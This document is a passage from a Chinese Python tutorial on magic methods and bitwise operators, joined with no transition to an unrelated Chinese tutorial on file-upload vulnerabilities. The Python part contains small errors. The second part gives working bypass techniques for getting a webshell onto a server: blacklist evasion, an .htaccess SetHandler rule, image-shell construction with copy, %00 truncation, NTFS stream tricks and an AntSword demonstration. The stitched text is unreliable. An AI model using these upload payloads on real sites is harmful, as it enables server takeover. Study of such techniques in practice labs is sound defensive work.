... def __del__(self):
... global x
... x = self
...
>>> d = D()
>>> d
<__main__.D object at 0x0000028B34990400>
>>> d.name
'小甲鱼'
>>> del d
>>> d
Traceback (most recent call last):
File "<pyshell#12>", line 1, in <module>
d
NameError: name 'd' is not defined
>>> x
<__main__.D object at 0x0000028B34990400>
>>> x.name
'小甲鱼'
这是一种方法。但是非迫不得已,尽量不要使用全局变量,因为它会污染命名空间。
还有一种方法是通过闭包的形式,将这个对象给保存起来。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34>>> class E:
... def __init__(self, name, func):
... self.name = name
... self.func = func
... def __del__(self):
... self.func(self)
...
>>> def outer():
... x = 0
... def inner(y=None):
... nonlocal x
... if y:
... x = y
... else:
... return x
... return inner
...
>>> f = outer()
>>> e = E("小甲鱼", f)
>>> e
<__main__.E object at 0x0000024775760790>
>>> e.name
'小甲鱼'
>>> del e
>>> e
Traceback (most recent call last):
File "<pyshell#37>", line 1, in <module>
e
NameError: name 'e' is not defined
>>> g = f()
>>> g
<__main__.E object at 0x0000024775760790>
>>> g.name
'小甲鱼'
16.40.23.4 运算相关的魔法方法
涉及到的方法数量之庞大,可能会让在座各位都大吃一鲸:
一共有 53 个,具体明细可以参考 -> 传送门
用到的时候,拿出来查一下就 OK,写过几次代码也就自然记住了。
涉及到运算相关的操作,Python 也都提供了相应的魔法方法。
比如说,我们希望两个字符串相加的结果不是拼接,而是统计两者的字符个数之和,代码可以这么写:1
2
3
4
5
6
7
8>>> class S(str):
... def __add__(self, other):
... return len(self) + len(other)
...
>>> s1 = S("FishC")
>>> s2 = S("Python")
>>> s1 + s2
11
只要重写对象的 __add__() 魔法方法,就可以实现对加法运算的拦截。
s1 + s2 就相当于 s1.__add__(s2)
16.40.23.5 反算术运算相关的魔法方法
“r” 开头的版本(比如 __radd__()),即 “反算术运算” 的这部分魔法方法,它们其实都是跟上面的算术运算是一一对应的。
那么它们的区别是什么呢?
仍然是拿加法来举例好了,当两个对象相加的时候,如果左侧的对象和右侧的对象不同类型,并且左侧的对象没有定义 __add__() 方法,或者其 __add__() 返回 NotImplemented,那么 Python 就会去右侧的对象中找查找是否有 __radd__() 方法的定义。
举个栗子:1
2
3
4
5
6
7
8
9
10
11
12>>> class S1(str):
... def __add__(self, other):
... return NotImplemented
...
>>> class S2(str):
... def __radd__(self, other):
... return len(self) + len(other)
...
>>> s1 = S1("Apple")
>>> s2 = S2("Banana")
>>> s1 + s2
12
这里能够成功调用到 __radd__() 方法,首先当然是因为 S2 实现了 __radd__() 方法;其次,s1 和 s2 是两个基于不同类的对象;再有一个条件,就是 S1 必须不能实现 __add__() 方法,不然还是会优先去执行左侧对象的 __add__() 方法(这里我们 __add__() 方法返回 NotImplemented,含义就是明确表示这个方法未实现;如果我们在 S1 中直接不去定义 __add__() 方法,也可以得到相同的结果)。
16.40.23.6 增强赋值运算相关的魔法方法
“i” 开头的版本(比如 __iadd__()),即 “增强赋值运算” 的这部分魔法方法,它们也是跟上面的算术运算也是对应的,不过呢,这个执行的是运算兼赋值的操作。
也就是说 s1 += s2,就相当于 s1 = s1.__iadd(s2)。
注意,它有一个自我赋值的操作,也就是说它会修改对象自身:1
2
3
4
5
6
7
8
9
10>>> class S1(str):
... def __iadd__(self, other):
... return len(self) + len(other)
...
>>> s1 = S1("Apple")
>>> s1 += s2
>>> s1
11
>>> type(s1)
<class 'int'>
所以,用的时候一定要先想清楚,不然一个不小心,就容易把自己的对象给搞丢咯。
另外,如果增强赋值运算符的左侧对象没有实现相应的魔法方法,比如 += 的左侧对象没有实现 __iadd__() 方法,那么将退而求其次,使用相应的 __add__() 方法和 __radd__() 方法来实现:1
2
3
4
5
6
7
8
9
10
11
12>>> class S2(str):
... def __radd__(self, other):
... return len(self) + len(other)
...
>>> s2 = S2("FishC")
>>> type(s2)
<class '__main__.S2'>
>>> s2 += s2
>>> s2
'FishCFishC'
>>> type(s2)
<class 'str'>
16.40.23.7 一些内置函数也有相应的魔法方法
比如 int() 函数,它相应的魔法方法是 __int__()。那么 int(x) 就相当于调用了 x.__int__()。
利用这个特性,我们就可以轻松地实现一个可以将中文转换为整数的对象,来大家请看代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20class ZH_INT:
def __init__(self, num):
self.num = num
def __int__(self):
try:
return int(self.num)
except ValueError:
zh = {"零":0, "一":1, "二":2, "三":3, "四":4, "五":5, "六":6, "七":7, "八":8, "九":9,
"壹":1, "贰":2, "叁":3, "肆":4, "伍":5, "陆":6, "柒":7, "捌":8, "玖":9, }
result = 0
for each in self.num:
if each in zh:
result += zh[each]
else:
result += int(each)
result *= 10
return result // 10
我们通过拦截了 __int__() 魔法方法,让它在原来的基础上添加了对中文数字的识别:1
2
3
4
5
6>>> n = ZH_INT("五贰零")
>>> int(n)
520
>>> n = ZH_INT("五贰零1314")
>>> int(n)
5201314
16.40.23.8 位运算
常见的位运算包含按位与(&)、按位或(|)、按位非(^),还有按位异或。
前者是对两个整数进行位运算:1
2
3
4
5
6
7
8
9
10>>> bin(2)
'0b10'
>>> bin(3)
'0b11'
>>> bin(4)
'0b100'
>>> 3 & 2
2
>>> 3 & 4
0
这里 & 是按位进行 “与” 运算,就是只有当相同的位的值均为 1 的情况下,那么结果才为 1。
按位或也是相同的道理:1
2
3
4>>> 3 | 2
3
>>> 3 | 4
7
按位非则是将每个位进行取反,就是将 1 变成 0,0 变成 1,这样:1
2
3
4
5
6>>> ~2
-3
>>> ~3
-4
>>> ~4
-5
16.40.23.9 补码
按位与和按位或运算的结果相信大家都不会感觉到意外,但是按位取反的运算结果,估计会让很多鱼油摸不着头脑……
这个其实是涉及到补码的概念:
感兴趣的童鞋可以看一下这篇扩展阅读 -> 为什么要使用补码(顺带讲讲二进制的前世今生及转换方法)
补码其实是在计算机底层对二进制数进行表示、运算和存储使用,对人类并不算太友好,所以这个概念在大多数 Python 教程中,都是不会涉及的,甚至压根儿都不会给你提到,所以感兴趣的童鞋,并且不怕掉头发的童鞋,可以看看,时间有限的童鞋呢,这个扩展阅读可以跳过,也无妨~
16.40.23.10 按位异或
按位异或,这个比较特殊,就是当两个相同的二进制位的值,不一样的时候,那么结果对应的二进制位的值为 1:1
2
3
4>>> 3 ^ 2
1
>>> 3 ^ 4
7
16.40.23.11 按位移动
还有一个左移(<<)和右移(>>)运算符,运算符的左侧是运算对象,运算符的右侧是指定移动的位数:1
2
3
4
5
6
7
8
9
10>>> bin(8)
'0b1000'
>>> 8 >> 2
2
>>> 8 >> 3
1
>>> 8 << 2
32
>>> 8 << 3
64
右移 n 位就是除以 2 的 n 次方:1
2
3
4>>> 8 // pow(2, 2)
2
>>> 8 // pow(2, 3)
1
注意,一定是地板除,因为移位它是会丢失数据的,比如说十进制的数字 9,它的二进制是:1
2
3
4>>> bin(9)
'0b1001'
>>> 9 >> 2
2
相反,左移 n 位就是乘以 2 的 n 次方:1
2
3
4>>> 8 * pow(2, 2)
32
>>> 8 * pow(2, 3)
64
另外,移位计数不能为负数,否则会引发 ValueError 异常:1
2
3
4
5>>> 8 >> -2
Traceback (most recent call last):
File "<pyshell#15>", line 1, in <module>
8 >> -2
ValueError: negative shift count
16.40.23.11 优先级

在同一个表达式里面,按位或、按位异或、按位与、还有移位,它们的优先级是依次递增的,然后按位非是和正、负号处于同一个优先级行列。
16.40.23.12 math 模块相关的魔法方法
为了方便大家日后查询,小甲鱼同样将 math 模块翻译了一份中文文档 -> 传送门
math.trunc(x) -> x.__trunc__()
math.floor(x) -> x.__floor__()
math.ceil(x) -> x.__ceil__()
math 模块里面还有一个 ulp() 函数,用于表示对应浮点数的最低有效位,所以:1
2
3>>> import math
>>> 0.1 + 0.2 == 0.3 + math.ulp(0.3)
True
16.40.23.13 特别魔法方法
就是__index__(self) 方法,1
2
3
4
5
6
7
8
9
10
11>>> class C:
... def __index__(self):
... print("被拦截了~")
... return 3
...
>>> c = C()
>>> c[2]
Traceback (most recent call last):
File "<pyshell#5>", line 1, in <module>
c[2]
TypeError: 'C' object is not subscriptable
其实啊,当对象作为索引值或参数的时候,才会触发 __index__() 方法:1
2
3
4
5
6
7>>> s = "FishC"
>>> s[c]
被拦截了~
'h'
>>> bin(c)
被拦截了~
'0b11'
这个方法如果不讲,是很容易被误解为由对象的索引访问触发,其实这个方法是让对象做为索引值,被访问才触发,真的是离了个大谱就是……
16.40.23.13 与对象的属性访问相关的 BIF
- hasattr() — 用于判断对象是否拥有某个属性。
- getarrt() — 用于返回对象中指定属性的值。
- setattr() — 用于设置对象中指定属性的值。
- delattr() — 于删除对象中指定属性的值。
1 | >>> class C: |
16.40.23.14 与对象的属性访问相关的魔法方法
与 getarrt() 函数对应的是 __getattribute__() 这个魔法方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22>>> class C:
... def __init__(self, name, age):
... self.name = name
... self.__age = age
... def __getattribute__(self, attrname):
... print("拿来吧你~")
... return super().__getattribute__(attrname)
...
>>> c = C("小甲鱼", 18)
>>> getattr(c, "name")
拿来吧你~
>>> c._C__age
拿来吧你~
18
>>> c.FishC
拿来吧你~
Traceback (most recent call last):
File "<pyshell#28>", line 1, in <module>
c.y
File "<pyshell#23>", line 7, in __getattribute__
return super().__getattribute__(name)
AttributeError: 'C' object has no attribute 'FishC'
大家看,尽管最后这个 “FishC” 是一个不存在的属性,但 __getattribute__() 方法还是会作出响应,然后抛出异常。
那么 __getattr__() 这个魔法方法是干嘛的呢?
注意!一定要注意!!这个跟 getarrt() 函数长得像的,也是跟访问属性有关系,不过它是只有在用户试图获取一个不存在的属性时才会被触发:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25>>> class C:
... def __init__(self, name, age):
... self.name = name
... self.__age = age
... def __getattribute__(self, attrname):
... print("拿来吧你~")
... return super().__getattribute__(attrname)
... def __getattr__(self, attrname):
... if attrname == "FishC":
... print("I love FishC.")
... else:
... raise AttributeError(attrname)
...
>>> c = C("小甲鱼", 18)
>>> c.FishC
拿来吧你~
I love FishC.
>>> c.x
拿来吧你~
Traceback (most recent call last):
File "<pyshell#39>", line 1, in <module>
c.x
File "<pyshell#35>", line 12, in __getattr__
raise AttributeError(attrname)
AttributeError: x
属性赋值,对应的是 __setattr__() 魔法方法……
很容易,对不对?
大家不要掉以轻心,这里面也是有坑的,我举个例子你们就明白了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17>>> class D:
... def __setattr__(self, name, value):
... self.name = value
...
>>> d = D()
>>> d.name = "小甲鱼"
Traceback (most recent call last):
File "<pyshell#8>", line 1, in <module>
d.name = "小甲鱼"
File "<pyshell#6>", line 3, in __setattr__
self.name = value
File "<pyshell#6>", line 3, in __setattr__
self.name = value
File "<pyshell#6>", line 3, in __setattr__
self.name = value
[Previous line repeated 1022 more times]
RecursionError: maximum recursion depth exceeded
怎么回事?
怎么报错了?
大家仔细思考一下,self 是什么?
是对象自身,对吧?
那么捕获到赋值操作的时候,我们执行 self.name = value,那不就是相当于又给自己调用一次赋值操作,那么又会触发 setattr() 的这个魔法方法,然后又再次执行 self.name = value 的赋值操作……
这样就导致无限递归了!
遇到这个情况有两种解决方案:
交给 super()
通过字典来存放对象属性
对象的属性和值本来就是存放在一个叫 `__dict__ 的字典中:1
2
3
4
5
6
7
8>>> class D:
... def __setattr__(self, name, value):
... self.__dict__[name] = value
...
>>> d = D()
>>> d.name = "小甲鱼"
>>> d.name
'小甲鱼'
这样我们就绕开了死亡螺旋~
同样的道理,使用 __delattr__() 魔法方法的时候,也要注意这个死亡螺旋,我们还是得利用这个字典来实现属性的删除:1
2
3
4
5
6
7
8
9
10
11
12
13>>> class D:
... def __setattr__(self, name, value):
... self.__dict__[name] = value
... def __delattr__(self, name):
... del self.__dict__[name]
...
>>> d = D()
>>> d.name = "小甲鱼"
>>> d.__dict__
{'name': '小甲鱼'}
>>> del d.name
>>> d.__dict__
{}
文件上传漏洞
文件上传漏洞
1.描述
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如常见的头像上传,图片上传,oa 办公文件上传,媒体上传,允许用户上传文件,如果过滤不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中,可以获取服务器的权限,或进一步危害服务器。
1.1 危害
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为 webshell,上传 webshell 后门 很方便地查看服务器信息,查看目录,执行系统命令等。
2. 有关文件上传的知识
2.1 文件上传的过程
客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径
服务器 接收的资源程
服务器接收资源代码1
2
3
4
5
6
7
8
9
10
11
12
13<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?>
客户端文件上传的代码1
2
3
4
5
6
7
8
9
10
11<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
2.2 文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
- 值:0; 没有错误发生,文件上传成功。
- 值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制。
- 值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
- 值:3; 文件只有部分被上传。
- 4; 没有文件被上传。
2.3 文件上传漏洞
文件上传漏洞分为 直接文件上传,这种漏洞类型是属于高危漏洞的一种,能直接 getshell,而且没有任何限制,攻击者很容易通过上传点,获取网站的控制权限,另外一种是有条件的上传漏洞,这种漏洞一般是开发者经验不足,对文件上传做了简单的限制,如简单的前端认证,文件头文件检测,这种检测行为,可以完全绕过的,另外一个方面就是权限认证没处理,没有对文件上传页面进行权限认证,匿名者就能访问上传文件,上传网页后门到网站目录,控制整个网站,还有一些上传逻辑有问题,导致文件上传可以被绕过,上传后门到网站上。有的文件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件,从而导致网站可被控制。
2.4 文件上传漏洞的修复方案
- 在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。
- 文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击者放弃这个攻击途径。
- 设置上传白名单,白名单只允许图片上传如,
.jpg.png.gif其他文件均不允许上传 - 上传的后缀名,一定要设置成图片格式如
.jpg.png.gif
3. 文件上传的攻击方法
寻找测试网站的文件上传的模块,常见 头像上传,修改上传,文件编辑器中文件上传,图片上传、媒体上传等,通过抓包上传恶意的文件进行测试,上传后缀名 asp php aspx 等的动态语言脚本,查看上传时的返回信息,判断是否能直接上传,如果不能直接上传,再进行测试上传突破,例如上传文件的时候只允许图片格式的后缀,但是修改文件时,却没有限制后缀名,图片文件可以修改成动态语言格式如 php,则可能访问这个文件的 URL 直接 getshell,可以控制网站。
4. 常见的网站文件后缀名
可执行脚本的文件后缀名,可被网站目录解析。以下是常见的后缀名1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名。
aspasp asaspp
phpphp
5. 任意文件上传漏洞
任意文件上传漏洞又名文件直接上传漏洞 这种漏洞危害极大,如果攻击者能直接上传恶意脚本到网站存放的目录,且这个目录可解析动态脚本语言,那么攻击者就能够直接获取网站权限,甚至进一步权限提升,控制服务器。
5.1 任意文件上传演示
选择写好的一句话脚本上传,网页会返回路径 访问 url 即可 getshell
上传的文件可以改成其他恶意脚本或者后门,如蚁剑,中国菜刀一句话,后门大马。即可获得 webshell。
这里我们用蚁剑做演示:
将后门地址和密码输入到蚁剑
即可获得最高权限
5.2 绕过前端 js 检测上传
在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。
5.2.1 绕过 js 检测方法
- 按 F12 使用网页审计元素,把校验的上传文件后缀名文件删除,即可上传。
- 把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp、net 等。即可绕过上传。
删除 js 文件(删除检测函数,便可直接上传)
先修改后门文件后缀,改为可上传的文件格式,之后通过抓包修改后缀名
5.3 绕过 contnet-type 检测上传
有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。
5.3.1 content-type 检测上传攻
上传文件,脚本文件,抓包把 content-type 修改成 image/jpeg 即可绕过上传。
contnet-type 类型
6. 绕过黑名单上传
上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。
6.1 黑名单代码分析
首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不
在黑名单内,允许上传。
1 | $is_upload = false; |
6.1.1 绕过黑名单上传攻击
上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。
在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net执行 可以上传 ashx 代替 aspx。如果网站可以执行这些脚本,通过上传后门即可获取 webshell。
在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php 在 AddType application/x-httpd-php .php .phtml .php3 后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。
上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。
能否上传成功还是要看是否过滤后缀以及 apache 是否开启application/x-httpd-php
6.2 大小写绕过上传攻击
有的上传模块 后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp
仔细阅读黑名单,查看是否有被忽略的后缀名,当前可以使用 pHP 绕过

6.3 空格绕过攻击
在上传模块里,采用黑名单上传,如果没有对空格进行过滤可能被绕过。
抓包上传,在后缀名后添加空格
6.4 利用 windows 系统特征绕过上传攻击
在 windows中 文件后缀名. 系统会自动忽略.所以 shell.php. 像 shell.php 的效果一样。所以可以在文件名后面机上.绕过。
如果没有过滤文件后缀名后的点便可以上传 .php. 这种文件后缀
抓包修改在后缀名后加上.即可绕过。
6.5 NTFS 交换数据流::$DATA 绕过上传攻击
如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上传。
如果程序中没有对 ::$DATA 进行过滤可以添加::$DATA 绕过上传。
burpsuite 抓包,修改后缀名为 php::$DAT
6.6 利用 windows 环境的叠加特征绕过上传
在 windwos 中如果上传文件名 mortal.php:.jpg 的时候,会在目录下生产空白的文件名 moonsec.php再利用 php 和windows 环境的叠加属性,
以下符号在正则匹配时相等
双引号"等于 点号.大于符号>等于 问号?
小于符号<等于 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
6.6.1 利用 windows 环境的叠加特征绕过
首先抓包上传 s.php:.jpg 上传会在目录里生成 s.php 空白文件,接着再次提交把s.php改成s.>>>
因为 .php 在过滤黑名单内所以需要改为 :.jpg 上传,此时上传的为空脚本
再次抓包将 s.php 改为s.>>> 利用 windows 特性将脚本写入
6.7 双写后缀名绕过上传
在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。
6.7.1 文件上传双写绕过漏洞分析
str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name); // 对上传的后缀名是黑名单内的字符串转换成空。
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
6.7.2 文件上传双写绕过攻击
抓包上传,把后缀名改成pphphp即可绕过上传.
6.8 htaccess 重写解析绕过上传
上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess文件的作用是 可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。
在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文件。要 htaccess 的规则生效 则需要在 apache 开启 rewrite 重写模块,因为 apache 是多数都开启这个模块,所以规则一般都生效。
是多数都开启这个模块,所以规则一般都生效。
6.8.1 黑名单上传代码分析
如果 submit 有值,$deny_ext =array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”);
上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
6.8.2 htaccess 重写解析攻击
上传.htaccess到网站里.htaccess内容是1
2
3<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
再上传恶意的 jpg 到.htaccess相同目录里,访问图片即可获取执行脚本。
- 注意 文件名必须为
.htaccess
访问 jpg 图片便可 getshell。
6.9 文件名可控绕过上传
文件上传时,文件名的可被客户端修改控制,会导致漏洞产生。
6.9.1 文件名控代码分析
1 | $is_upload = false; |
采用黑名单限制上传文件,但是 $_POST[‘save_name’]文件是可控的,可被客户端任意修改,造成安全漏洞。
6.9.2 文件名控可控攻击方法
文件名攻击的方法主要有两种(另外还有一种非主流)
- 上传文件,文件吗采用%00 截断,抓包解码例如 moon.php%00.php 截断后moon.php 或者使用
/.需 php 版本小于 5.3.4 - 与中间的漏洞配合使用 例如 iis6.0 上传 1.php;1.jpg apache 上传
1.php.a也能解析文件a.asp;1.jpg解析成asp
%00 截断 需要gpc关闭 抓包 解码(需要将%00decode成为URL码) 提交即可 截断文件名 php 版本小于 5.3.4
或者改为可以使用 /. 需要没有过滤php版本较低可使用
将文件名 1.php;.jpg 改成 iis6.0 可解析文件

低版本php可解析后缀

7. 白名单绕过
使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。
7.1 目录可控 GET %00 截断绕过上传攻击
代码中使用白名单限制上传的文件后缀名,只允许指定的图片格式。但是$_GET[‘save_path’]服务器接受客户端的值,这个值可被客户端修改。所以会留下安全问题。
上传参数可控
- 当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
- php 版本小于 5.3.4
首先截断攻击,抓包上传将%00自动截断后门内容。
例如 1.php%00.1.jpg 变成 1.php
7.2 目录可控 POST 绕过上传攻击
上面是 GET 请求的,可以直接在 url 输入%00 即可截断,但是在 post 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名。
$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞。
文件名可控,通过抓包修改可控的参数,与不同的中间件的缺陷配合使用。
- 使用%00 截断文件名 再 post 环境下%00 要经过 decode 但是受 gpc 限制使用 burpsutie POST %00 截断文件名。


7.3 文件头检测绕过上传
有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见的文件上传图片头检测 它检测图片是两个字节的长度,如果不是图片的格式,会禁止上传。
常见的文件头
- JPEG (jpg),文件头:FFD8FF
- PNG (png),文件头:89504E4
- GIF (gif),文件头:47494638
- TIFF (tif),文件头:49492A00
- Windows Bitmap (bmp),文件头:424D
7.3.1 文件头检测上传代码分析
1 | function getReailFileType($filename){ |
这个是存在文件头检测的上传,getReailFileType 是检测 jpg、png、gif 的文件。如果上传的文件符合数字即可通过检测。
7.3.2 文件头检测绕过传攻击方法
- 作图片一句话,使用 copy 1.gif/b+moon.php shell.php 将 php 文件附加再 jpg 图片上,直接上传即可。

然后打开文件包含漏洞界面进行getshell
代码如下:1
2
3
4
5
6
7
8
9
10
11
12 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
- 使用 burpsuite 上传数据包 修改头文件添加文件头

7.3.3 图片检测函数绕过上传
getimagesize()获取图片大小
上传图片马即可绕过
7.4 绕过图片二次渲染上传
有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。
7.4.1 图片二次渲染分析代码
1 | $is_upload = false; |
只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif() 函数对图片进行二次生成。生成的图片保存在,upload 目录下。
7.4.2 绕过图片二次渲染攻击。
首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。所以二次渲染攻击最好用 git 图片马。
制作图片马
先将原图片上传,再下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句话后门,或者恶意指令。
原图片与渲染后的图片这个位置的字符串没有改变所在原图片这里替换成 <?php phpinfo();?> 直接上传即可。

7.5 数组绕过上传
有的文件上传,如果支持数组上传或者数组命名。如果逻辑写的有问题会造成安全隐患,导致不可预期的上传。这种上传攻击,它是属于攻击者白盒审计后发现的漏洞居多。
7.5.1 数组绕过代码分析
1 | $is_upload = false; |
首先检测文件类型,看到可控参数 save_name 如果不是数组,后缀名不是图片禁止上传。
如果是数组绕过图片类型检测 接着处理数组。
首先 一个例子的处理。1
2
3
4<?php
$file= $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
?>
如果是两个参数 拼接字符串是 aaaaaaa.php/.png
如果下表是 1 为正常图片上传,如果下表大于 1 因为count()-1,则png就不显示。拼接字符串 aaaaaaa.php/. 在move_uploaded_file()函数中 /.在window会自动忽略 所以可以移动到指定目录。
7.5.2 数组绕过攻击方法
构造上传表单,设置数组上传。从代码中,可以知道第二个数组必须大于 1 即可第二个数组的值就获取不了,字符串拼接起来就是 1.php/. 就能上传1.php。要把Content-Type:换成imag


也可用`绕过
7.6 文件上传其他漏洞
nginx 0.83 /1.jpg%00php
apahce 1x 或者 2x
当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向前解析,直到知道它认识的后缀名
phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成php。
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
